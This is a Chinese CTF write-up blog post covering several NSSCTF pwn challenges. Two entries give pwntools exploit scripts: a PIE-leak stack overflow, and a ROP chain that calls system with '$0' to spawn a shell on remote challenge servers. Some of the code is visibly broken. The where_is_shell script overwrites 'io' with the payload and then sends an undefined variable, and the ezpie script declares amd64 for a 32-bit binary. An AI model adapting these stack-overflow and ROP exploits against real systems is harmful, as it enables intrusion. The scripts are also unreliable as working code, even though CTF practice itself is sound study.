[HGAME 2023 week1]test_nc
这是一道简单的nc签到题,直接终端nc就行
[NISACTF 2022]ezpie
使用checksec,发现这题是32位且开了PIE
进入main函数,我们要打印一个Input,发现了vuln双击进入
这里涉及了严重的栈溢出
因为这道题涉及PIE我们要找到main和shell的偏移量
经过计算shell - main = 9F
这题还是有点不理解,参考了很多师傅的exp
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.anna.nssctf.cn','29399')
io.recvuntil(b'gift!')
main_addr = 0x770
main = int(io.recv()[1:11],16)
shell = main + 0x9F
print(shell)
#io.recvuntil(b'Input:')
padding = b'a'*(0x28+0x4)
payload = padding + p32(main) + p32(shell)
io.sendline(payload)
io.interactive()
运行输入cat flag得到flag
[HNCTF 2022 Week1]easyoverflow
nc 输入大量的a就得到flag了
[GFCTF 2021]where_is_shell
查看main函数我们发现这里涉及栈溢出
查看后发现没有找到/bin/sh字符串 只有报错代码
$0 可以当作shell执行 用ord 和hex可以找到对应
$0对应的为 24 30 所以从41开始所以地址从0x400540
变成0x400541
将system(binsh)换成$0的地址
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node4.anna.nssctf.cn','28761')
elf = ELF('/home/xp/tm/bin/8')
padding = b'a'*(0x10+0x8)
system = elf.plt['system']
ret = 0x400416
rdi = 0x4005e3
shell = 0x400541
io = padding + p64(ret) + p64(rdi) + p64(shell) + p64(system) #涉及版本过高要加一个ret
io.sendline(payload)
io.interactive()
得到flag
标签:shell,system,padding,flag,io,PWN,main,NSSCTF From: https://blog.csdn.net/fanshaoze/article/details/142641521